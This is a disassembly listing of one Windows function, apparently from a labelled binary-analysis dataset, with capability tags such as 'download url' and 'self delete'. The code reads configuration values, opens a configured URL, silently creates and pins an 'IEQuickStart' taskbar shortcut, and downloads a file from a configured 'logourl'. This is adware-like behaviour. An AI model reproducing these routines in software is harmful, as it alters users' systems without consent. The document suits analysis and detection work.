Function at 0x44f5c0
Capabilities:
Check http status code
Check if file exists
Contain obfuscated stackstrings
Create process on windows
Download url
Inspect section memory permissions
Parse pe header
Query environment variable
Receive data
Self delete

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5641e0
mov eax, dword fs:[0]
push eax
sub esp, 0x6dc
mov eax, dword [0x5b0514]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x428], ebx
mov dword [ebp - 0x42c], eax
mov esi, dword [0x5ba980]
mov ecx, esi
mov dword [ebp - 0x424], ebx
mov dword [ebp - 0x6d8], eax
mov dword [esi + 0x62c], 0x80
call fcn.00445e50
push str.m_UserKey
lea ecx, [ebp - 0x494]
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov dword [ebp - 4], ebx
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 1
call fcn.00406750
sub esp, 0x18
mov byte [ebp - 4], 2
mov edi, esp
mov dword [ebp - 0x44c], esp
lea eax, [ebp - 0x6a1]
mov dword [ebp - 0x430], edi
mov ecx, edi
lea ebx, [esi + 0x508]
push eax
push dword [ebp - 0x6d8]
call fcn.00402940
push ebx
mov ecx, edi
mov byte [ebp - 4], 3
call fcn.00402960
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 4
push eax
lea eax, [ebp - 0x448]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.0045a660
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 5
call fcn.00407270
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 6
call fcn.00407270
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 7
call fcn.00407270
push str.m_UseCount
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0xffffffff
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov dword [ebp - 4], 8
call fcn.00406750
mov byte [ebp - 4], 9
push str.Config
lea ecx, [ebp - 0x4f8]
call fcn.00406750
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0xa
mov ebx, dword [esi + 0x5f8]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov edi, eax
push 7
mov ecx, edi
call fcn.00405310
mov dword [edi], ebx
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0xb
call fcn.00407270
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0xc
call fcn.00407270
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0xd
call fcn.00407270
push str.m_Session
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0xffffffff
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov dword [ebp - 4], 0xe
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0xf
call fcn.00406750
sub esp, 0x18
mov byte [ebp - 4], 0x10
mov edi, esp
mov dword [ebp - 0x44c], esp
lea eax, [ebp - 0x6a1]
mov dword [ebp - 0x430], edi
mov ecx, edi
lea ebx, [esi + 0x520]
push eax
push dword [ebp - 0x6d8]
call fcn.00402940
push ebx
mov ecx, edi
mov byte [ebp - 4], 0x11
call fcn.00402960
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x12
push eax
lea eax, [ebp - 0x448]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov byte [ebp - 4], 0x10
mov ecx, eax
call fcn.0045a660
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x13
call fcn.00407270
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x14
call fcn.00407270
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0x15
call fcn.00407270
push str.m_SafeSoft
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0xffffffff
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov dword [ebp - 4], 0x16
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x17
call fcn.00406750
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x18
mov ebx, dword [esi + 0x5fc]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov edi, eax
push 7
mov ecx, edi
call fcn.00405310
mov dword [edi], ebx
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x19
call fcn.00407270
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x1a
call fcn.00407270
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0x1b
call fcn.00407270
push str.m_LastError
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0xffffffff
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov dword [ebp - 4], 0x1c
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x1d
call fcn.00406750
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x1e
mov ebx, dword [esi + 0x600]
push eax
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x4f8]
push eax
mov ecx, 0x5ba9b8
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov edi, eax
push 7
mov ecx, edi
call fcn.00405310
mov dword [edi], ebx
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x1f
call fcn.00407270
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x20
call fcn.00407270
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0x21
call fcn.00407270
push str.m_SkinID
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0xffffffff
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov dword [ebp - 4], 0x22
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x23
call fcn.00406750
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x24
mov ebx, dword [esi + 0x608]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov edi, eax
push 7
mov ecx, edi
call fcn.00405310
mov dword [edi], ebx
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x25
call fcn.00407270
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x26
call fcn.00407270
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0x27
call fcn.00407270
push str.m_UseMFC
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0xffffffff
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov dword [ebp - 4], 0x28
call fcn.00406750
mov byte [ebp - 4], 0x29
push str.Config
lea ecx, [ebp - 0x4f8]
call fcn.00406750
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x2a
mov ebx, dword [esi + 0x610]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov edi, eax
push 7
mov ecx, edi
call fcn.00405310
mov dword [edi], ebx
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x2b
call fcn.00407270
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x2c
call fcn.00407270
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0x2d
call fcn.00407270
push str.m_StepNumber
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0xffffffff
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov dword [ebp - 4], 0x2e
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x2f
call fcn.00406750
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x30
mov ebx, dword [esi + 0x62c]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov edi, eax
push 7
mov ecx, edi
call fcn.00405310
mov dword [edi], ebx
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x31
call fcn.00407270
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x32
call fcn.00407270
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0x33
call fcn.00407270
push str.m_DownloadState
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0xffffffff
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov dword [ebp - 4], 0x34
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x35
call fcn.00406750
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x36
mov ebx, dword [esi + 0x630]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov edi, eax
push 7
mov ecx, edi
call fcn.00405310
mov dword [edi], ebx
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x37
call fcn.00407270
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x38
call fcn.00407270
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0x39
call fcn.00407270
push str.m_CloseCode
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0xffffffff
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov dword [ebp - 4], 0x3a
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x3b
call fcn.00406750
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x3c
mov ebx, dword [esi + 0x9fc]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov edi, eax
push 7
mov ecx, edi
call fcn.00405310
mov dword [edi], ebx
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x3d
call fcn.00407270
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x3e
call fcn.00407270
lea ecx, [ebp - 0x494]
mov dword [ebp - 4], 0x3f
call fcn.00407270
mov ecx, esi
mov dword [ebp - 4], 0xffffffff
call fcn.0044a130
test eax, eax
jne 0x44fdc4
mov eax, dword [esi + 0x9fc]
cmp eax, 0x64
je 0x4541d4
cmp eax, 0x12c
je 0x4541d4
mov ecx, esi
call fcn.00449550
push 0
push str.openurl
push str.Config
lea eax, [ebp - 0x5d8]
mov ecx, esi
push eax
call fcn.0043bdc0
mov dword [ebp - 4], 0x40
cmp dword [ebp - 0x5c8], 0
je 0x44fe1d
cmp dword [ebp - 0x5c4], 8
lea eax, [ebp - 0x5d8]
push 1
cmovae eax, dword [ebp - 0x5d8]
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
push 0
mov ecx, esi
call fcn.0044d140
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x450ec9
push str.taskidstr
lea ecx, [ebp - 0x570]
call fcn.00406750
push str.Navigation
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 0x41
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x42
call fcn.00406750
lea eax, [ebp - 0x528]
mov byte [ebp - 4], 0x43
push eax
lea eax, [ebp - 0x570]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x494]
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00403d30
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x46
call fcn.00407270
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 0x48
call fcn.00407270
lea ecx, [ebp - 0x570]
mov byte [ebp - 4], 0x4a
call fcn.00407270
mov byte [ebp - 4], 0x49
lea eax, [ebp - 0x528]
cmp dword [ebp - 0x514], 0x10
lea ecx, [ebp - 0x47c]
cmovae eax, dword [ebp - 0x528]
push eax
call fcn.00406750
push str.Show
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x4b
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x4b0]
mov byte [ebp - 4], 0x4c
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x4d
call fcn.00406750
push 1
lea eax, [ebp - 0x47c]
mov byte [ebp - 4], 0x4e
push eax
lea eax, [ebp - 0x510]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x4b0]
push eax
lea eax, [ebp - 0x448]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x448]
call fcn.00407270
lea ecx, [ebp - 0x4b0]
call fcn.00407270
lea ecx, [ebp - 0x510]
call fcn.00407270
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x49
call fcn.00407270
push 0
push str.silent
push 0
mov ecx, esi
call fcn.0044d8a0
test eax, eax
je 0x45028e
push str.checked
lea ecx, [ebp - 0x448]
call fcn.00406750
push str.Navigation
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x4f
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x50
call fcn.00406750
push 1
lea eax, [ebp - 0x448]
mov byte [ebp - 4], 0x51
push eax
lea eax, [ebp - 0x510]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x47c]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x47c]
call fcn.00407270
lea ecx, [ebp - 0x510]
call fcn.00407270
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x49
call fcn.00407270
push str.selected
lea ecx, [ebp - 0x448]
call fcn.00406750
push str.Navigation
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x52
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x53
call fcn.00406750
push 1
lea eax, [ebp - 0x448]
mov byte [ebp - 4], 0x54
push eax
lea eax, [ebp - 0x510]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x47c]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x47c]
call fcn.00407270
lea ecx, [ebp - 0x510]
call fcn.00407270
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x49
call fcn.00407270
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4b0]
call fcn.00406750
mov byte [ebp - 4], 0x55
push str.Checked
lea ecx, [ebp - 0x448]
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x56
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x57
call fcn.00406750
push 1
lea eax, [ebp - 0x4b0]
mov byte [ebp - 4], 0x58
push eax
lea eax, [ebp - 0x448]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0x47c]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x47c]
call fcn.00407270
lea ecx, [ebp - 0x510]
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00407270
lea ecx, [ebp - 0x4b0]
mov byte [ebp - 4], 0x49
call fcn.00407270
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4b0]
call fcn.00406750
push str.Unchecked
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x59
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x5a
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x5b
call fcn.00406750
push 0
lea eax, [ebp - 0x4b0]
mov byte [ebp - 4], 0x5c
push eax
lea eax, [ebp - 0x448]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0x47c]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x47c]
call fcn.00407270
lea ecx, [ebp - 0x510]
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00407270
lea ecx, [ebp - 0x4b0]
mov byte [ebp - 4], 0x49
call fcn.00407270
push 1
push str.Status
mov ecx, esi
call fcn.0043b1e0
test eax, eax
jne 0x450df3
mov eax, dword [esi + 0x9fc]
cmp eax, 0xc8
je 0x4502bc
cmp eax, 0x190
jne 0x450df3
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4b0]
call fcn.00406750
push str.Checked
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x5d
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x5e
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x5f
call fcn.00406750
lea eax, [ebp - 0x4b0]
mov byte [ebp - 4], 0x60
push eax
lea eax, [ebp - 0x448]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0x47c]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404790
lea ecx, [ebp - 0x47c]
mov bl, al
call fcn.00407270
lea ecx, [ebp - 0x510]
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00407270
lea ecx, [ebp - 0x4b0]
mov byte [ebp - 4], 0x49
call fcn.00407270
test bl, bl
je 0x4504e8
push 4
push str.General
mov ecx, esi
call fcn.0043b1e0
test eax, eax
je 0x4504e8
lea eax, [ebp - 0x5c0]
mov ecx, esi
push eax
push 0
push 0
call fcn.0044ae40
lea eax, [ebp - 0x5c0]
push eax
mov eax, dword [esi + 0xac8]
call eax
lea ecx, [ebp - 0x528]
test eax, eax
jne 0x450423
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4b0]
call fcn.00406750
push str.Checked
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x61
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x62
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x63
call fcn.00406750
mov byte [ebp - 4], 0x64
jmp 0x450474
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4b0]
call fcn.00406750
push str.Unchecked
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x65
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x66
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x67
call fcn.00406750
mov byte [ebp - 4], 0x68
push 1
lea eax, [ebp - 0x4b0]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0x47c]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x47c]
call fcn.00407270
lea ecx, [ebp - 0x510]
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00407270
lea ecx, [ebp - 0x4b0]
mov byte [ebp - 4], 0x49
call fcn.00407270
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4b0]
call fcn.00406750
push str.Checked
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x69
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x6a
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x6b
call fcn.00406750
lea eax, [ebp - 0x4b0]
mov byte [ebp - 4], 0x6c
push eax
lea eax, [ebp - 0x448]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0x47c]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404790
lea ecx, [ebp - 0x47c]
mov bl, al
call fcn.00407270
lea ecx, [ebp - 0x510]
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00407270
lea ecx, [ebp - 0x4b0]
mov byte [ebp - 4], 0x49
call fcn.00407270
test bl, bl
je 0x450eba
push str.Navigation
lea ecx, [ebp - 0x510]
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x6d
call fcn.00406750
lea eax, [ebp - 0x510]
mov byte [ebp - 4], 0x6e
push eax
lea eax, [ebp - 0x47c]
mov ecx, 0x5ba9b8
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004025c0
lea ecx, [ebp - 0x47c]
call fcn.00407270
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x71
call fcn.00407270
push str.taskidstr
lea ecx, [ebp - 0x4f8]
call fcn.00406750
lea eax, [ebp - 0x464]
mov byte [ebp - 4], 0x72
push eax
lea eax, [ebp - 0x4f8]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00403d30
lea ecx, [ebp - 0x4f8]
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.004052f0
lea eax, [ebp - 0x448]
mov byte [ebp - 4], 0x75
push eax
push 0x58bc94
mov edx, str.SOFTWAREMicrosoftWindowsCurrentVersionApp_PathsIEXPLORE.EXE
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.00417280
add esp, 8
mov ecx, esi
push 0xa
push str.Option
call fcn.0043b1e0
mov ebx, dword [sym.imp.SHLWAPI.dll_wnsprintfW]
test eax, eax
je 0x450894
lea ecx, [ebp - 0x510]
call fcn.004052f0
lea edx, [ebp - 0x510]
mov byte [ebp - 4], 0x76
mov ecx, 0x10
call fcn.00417420
lea edx, [ebp - 0x42c]
mov dword [ebp - 0x430], 0
lea ecx, [ebp - 0x430]
mov dword [ebp - 0x42c], 0
call fcn.00416e60
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.00521a60
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x103
push eax
push str.APPDATA
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableW]
cmp dword [ebp - 0x430], 6
jae 0x45073c
push str.MicrosoftInternet_ExplorerQuick_Launch
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 0x58f760
lea ecx, [ebp - 0x47c]
call fcn.00406750
lea eax, [ebp - 0x6bc]
mov byte [ebp - 4], 0x77
push eax
lea eax, [ebp - 0x47c]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
push 0
push 0x58bc94
mov ecx, eax
mov byte [ebp - 4], 0x78
call fcn.0040f960
push eax
push 0
lea ecx, [ebp - 0x448]
call fcn.0040f960
push eax
push str.IEQuickStart
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x448]
call fcn.0040f960
push eax
mov ecx, esi
call fcn.00456140
lea ecx, [ebp - 0x6bc]
mov edi, eax
call fcn.00407320
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x76
call fcn.00407270
test edi, edi
je 0x45087f
cmp dword [ebp - 0x430], 6
jbe 0x450822
push 0x208
lea eax, [ebp - 0x420]
push 0
push eax
call fcn.00521a60
add esp, 0xc
lea eax, [ebp - 0x218]
push str.IEQuickStart
push eax
push str._s_s.lnk
lea eax, [ebp - 0x420]
push 0x104
push eax
call ebx
add esp, 0x14
lea ecx, [ebp - 0x420]
call fcn.00417ec0
jmp 0x45087f
jne 0x45087f
cmp dword [ebp - 0x42c], 1
jb 0x45087f
push 0x208
lea eax, [ebp - 0x420]
push 0
push eax
call fcn.00521a60
add esp, 0xc
lea eax, [ebp - 0x218]
push str.IEQuickStart
push eax
push str._s_s.lnk
lea eax, [ebp - 0x420]
push 0x104
push eax
call ebx
add esp, 0x14
lea eax, [ebp - 0x420]
push 0
push 0
push 0
push eax
push str.taskbarpin
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x75
call fcn.00407320
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
push 0
push 0x590678
push 0
mov ecx, esi
call fcn.0044e7c0
test eax, eax
je 0x450c7c
lea eax, [ebp - 0x448]
push eax
lea ecx, [ebp - 0x570]
call fcn.00402a30
push str.logourl
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x79
call fcn.00406750
lea eax, [ebp - 0x4f8]
mov byte [ebp - 4], 0x7a
mov ebx, 1
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x428], ebx
call fcn.00437e40
cmp al, bl
jne 0x4509b8
push str.logourl
lea ecx, [ebp - 0x510]
call fcn.00406750
lea eax, [ebp - 0x510]
mov dword [ebp - 4], 0x7b
mov ebx, 3
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00437f60
test al, al
jne 0x4509b8
push str.logourl
lea ecx, [ebp - 0x47c]
call fcn.00406750
lea eax, [ebp - 0x6bc]
mov dword [ebp - 4], 0x7c
push eax
lea eax, [ebp - 0x47c]
mov dword [ebp - 0x428], 7
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov dword [ebp - 4], 0x7d
mov ebx, 0xf
mov ecx, eax
mov dword [ebp - 0x428], ebx
call fcn.0040f960
mov ecx, eax
call fcn.00416ce0
test eax, eax
je 0x4509b8
lea ecx, [esi + 0x580]
call fcn.0040f960
push eax
call edi
mov byte [ebp - 0x6a1], 1
test eax, eax
jne 0x4509bf
mov byte [ebp - 0x6a1], 0
test bl, 8
je 0x4509d2
lea ecx, [ebp - 0x6bc]
and ebx, 0xfffffff7
call fcn.00407320
test bl, 4
je 0x4509e5
lea ecx, [ebp - 0x47c]
and ebx, 0xfffffffb
call fcn.00407270
test bl, 2
je 0x4509f8
lea ecx, [ebp - 0x510]
and ebx, 0xfffffffd
call fcn.00407270
mov dword [ebp - 4], 0x79
lea ecx, [ebp - 0x4f8]
and ebx, 0xfffffffe
mov dword [ebp - 0x424], ebx
call fcn.00407270
cmp byte [ebp - 0x6a1], 0
je 0x450b3f
lea ecx, [ebp - 0x570]
call fcn.0042f500
push 0x208
lea eax, [ebp - 0x420]
push 0
push eax
call fcn.00521a60
add esp, 0xc
lea ecx, [ebp - 0x47c]
push 0x590678
call fcn.00406750
lea eax, [ebp - 0x6bc]
mov byte [ebp - 4], 0x7e
push eax
lea eax, [ebp - 0x47c]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov ecx, eax
call fcn.0040f960
push eax
lea ecx, [esi + 0x580]
call fcn.0040f960
push eax
push str._s_s.ico
lea eax, [ebp - 0x420]
push 0x104
push eax
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x14
lea ecx, [ebp - 0x6bc]
call fcn.00407320
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x79
call fcn.00407270
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0x570]
call fcn.004108a0
push str.logourl
lea ecx, [ebp - 0x510]
call fcn.00406750
lea eax, [ebp - 0x6bc]
mov byte [ebp - 4], 0x7f
push eax
lea eax, [ebp - 0x510]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
push 0
push 0
lea ecx, [ebp - 0x570]
mov edi, eax
call fcn.0040f960
push eax
mov ecx, edi
call fcn.0040f960
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea ecx, [ebp - 0x6bc]
call fcn.00407320
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x79
call fcn.00407270
lea ecx, [ebp - 0x570]
